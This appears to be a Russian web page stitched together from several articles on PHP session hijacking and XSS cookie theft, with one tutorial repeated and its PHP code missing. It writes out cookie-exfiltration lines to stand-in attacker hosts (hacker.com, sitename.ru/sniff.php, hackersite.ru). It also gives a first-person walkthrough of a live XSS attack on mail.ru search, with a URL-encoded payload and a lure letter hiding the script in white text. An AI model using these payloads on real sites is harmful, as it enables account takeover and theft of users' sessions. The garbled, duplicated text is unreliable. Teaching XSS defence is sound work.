Кража сессий. Безопасное программирование на PHP. Кража сессии Кража куки

Новости 09.12.2020
Новости
  • У пользователя запрашивается логин и пароль.
  • Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
  • Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать:).
  • SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).
  • В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

    Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

    Замечание

    Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту:).

    В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

    Существуют два самых распространенных варианта:

    1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

    http://forum.dklab.ru/?sid=

    Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором.
    Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться:). С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

    2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.



    Текст:


    Содержимое обработчика addmsg.php представлено ниже

    Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы < в < и > в > в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

    window.open("http://hacker.com/get.php?"+document.cookie, "new")

    И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
    Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
    Скрипт авторизации

    Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

    Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой:) - поэтому в доступе ему будет отказано.

    Данный метод не является универсальным и у него тоже есть слабые места.

  • Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
  • В котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS . После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

    В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…


    На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

    Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

    На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

    Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

    Img=new Image();
    img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
    function F() {
    location="http://www.solife.ru";
    }
    setTimeout(F, 5000);

    Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

    Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:


    Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

    E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

    Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

    Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

    Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

    Проверяю свой файл sniff.txt:

    Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

    Хотелось бы поблагодарить Сергея Белова (

  • У пользователя запрашивается логин и пароль.
  • Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
  • Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать:).
  • SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).
  • В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

    Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

    Замечание

    Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту:).

    В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

    Существуют два самых распространенных варианта:

    1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

    Http://forum.dklab.ru/?sid=

    Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором.
    Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться:). С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

    2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.



    Текст:


    Содержимое обработчика addmsg.php представлено ниже

    Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы в > в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

    window.open("http://hacker.com/get.php?"+document.cookie, "new")

    И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
    Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
    Скрипт авторизации

    Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

    Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой:) - поэтому в доступе ему будет отказано.

    Данный метод не является универсальным и у него тоже есть слабые места.

  • Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
  • Если пользователь использует модем, и произойдет обрыв связи, то после восстановления связи, ему скорее всего будет назначен другой IP-адрес. Пользователь может быть неприятно удивлён, если он будет огульно зачислен в ряды злоумышленников (поэтому писать угрозы и призывы к совести в системах защиты не стоит - в таких системах тоже бывают ошибки). Последний недостаток имеет место на форумах, посетители которых имеют привычку при наборе длинного ответа отключать Интернет и работать offline. Нажатие на кнопку "Ответить" приводит к тому, что вся набраная информация теряется, так как никто не заботится о том, что бы сохранять текст набранный злоумышлеником:))).
  • Выход: (вернее полу выход) Проверять на идентичность только первые 3 цифры IP адреса, кража SID по-прежднему статистически маловероятна, однако это в большинстве случаев, позволяет более мягко отнестись к разрыву соединения, так как провайдерам обычно выделяют неразрывный диапазон IP-адресов, в котором меняется только последняя цифра.

    Что такое же cookie?

    Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.


    Почему cookie важны?

    Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.


    Как изменить или подменить cookie?

    Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).


    Шаг 1: создаем текстовый файл с текстом

    Windows Registry Editor Version 5.00



    @="C:\\IE_ext.htm"

    Сохраняем его под именем IE_ext.reg

    Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

    Шаг 3: создаем текстовый файл с текстом

    < script language ="javascript">
    external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

    external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
    alert(external.menuArguments.document.cookie);


    Сохраняем его под именем C:\IE_ext.htm

    Шаг 4: Заходим на интересующий нас интернет-сайт.

    Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.


    Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

    Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

    Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

    Как украсть cookie с помощью JavaScript?

    Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:


    var str= document.cookie;

    Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

    var img=new Image();

    img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


    то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

    Как обрабатывать такие запросы на загрузку «картинки»?

    Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:


    Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.


    Итог

    Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.



    Рекомендуем почитать

    Наверх